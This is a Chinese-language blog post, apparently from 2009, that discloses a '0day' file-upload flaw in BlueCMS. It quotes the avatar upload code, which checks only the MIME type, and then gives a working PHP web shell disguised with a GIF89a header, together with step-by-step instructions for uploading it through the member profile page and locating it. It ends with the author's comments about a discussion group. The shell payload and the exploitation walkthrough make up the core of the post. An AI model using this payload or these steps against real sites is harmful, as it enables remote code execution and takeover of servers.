bluecms 0day

2009/10/11 来源:www.arpun.com 作者:小白

作者:st0p

文章出处:http://www.st0p.org

唉, 群里一个朋友发了一个CMS, 说用户资料修改部分可能存在注入, 说一起分析, 本地安装好后发现, 没法利用, 在magic_quotes_gpc=off的情况下, 单引号被转义了。 。 。

看到include/common.inc.php中的这行, 放弃。 。

......

if(!get_magic_quotes_gpc())

{

  $_POST = deep_addslashes($_POST);

  $_GET = deep_addslashes($_GET);

  $_COOKIES = deep_addslashes($_COOKIES);

  $_REQUEST = deep_addslashes($_REQUEST);

}

......

也许是st0p的运气好, 看到有上传图片的部分, 分析了一下代码, 在user.php中发现利用的东西。 。

     require_once(BLUE_ROOT . 'include/upload.class.php'); //调用上传类

    $image = new upload();

  if(isset($_FILES['face_pic']['error']) && $_FILES['face_pic']['error'] == 0){

  $face_pic = $image->img_upload($_FILES['face_pic'], 'face_pic');

                         //没检测后缀直接带入, 类中要是也没有就能传SHELL了

}

打开include/upload.class.php发现, 只是检测了文件头, 没有检测后缀

......

class upload {

private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');

......

    function img_upload($file, $dir = '', $imgname = ''){

     if(empty($dir)){

      $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";

     }else{

      $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";

     }

     if(!file_exists($dir)){

      if(!mkdir($dir)){

       showmsg('上传过程中创建目录失败');

      }

     }

     if(empty($imgname)){

$imgname = $this->create_tempname().$this->get_type($file['name']);

     }

     $imgname = $dir . $imgname;

     if(!in_array($file['type'],$this->allow_image_type)){

             //只是检测了文件头部来着, 那我们就直接构造一个SHELL就好了

      showmsg('不允许的图片类型');

     }

    }

把以上内容另存为st0p.php

GIF89a

<?php eval($_POST[st0p]);?>

注网帐号, 登陆, 会员中心-->我的个人资料, 然后上传新图像选咱们构造的PHP文件, 点确认修改, 成功后, 直接在照片上右击查看地址就行了。 。 一句话SHELL上传成功!

分析完毕, 嘿嘿, 希望大家多交流, 这些东西发出来只是想多认识些朋友, 一起讨论技术, 开设群也是这样, 由于只是普通群, 只能有100人, 今天清理了下从未说话的人, 竟被人说我在装B乱T人, 郁闷, 开群就是为了交流, 不说话一直占位有何用, 想进步的话, 孤高之路不可走!

如果你进群只是为了从别人那得到别人的讨论成果, 不知道付出或只是加进来潜水的, 那还是不加的好。 。 。

 

网友评论
评论(...
全部评论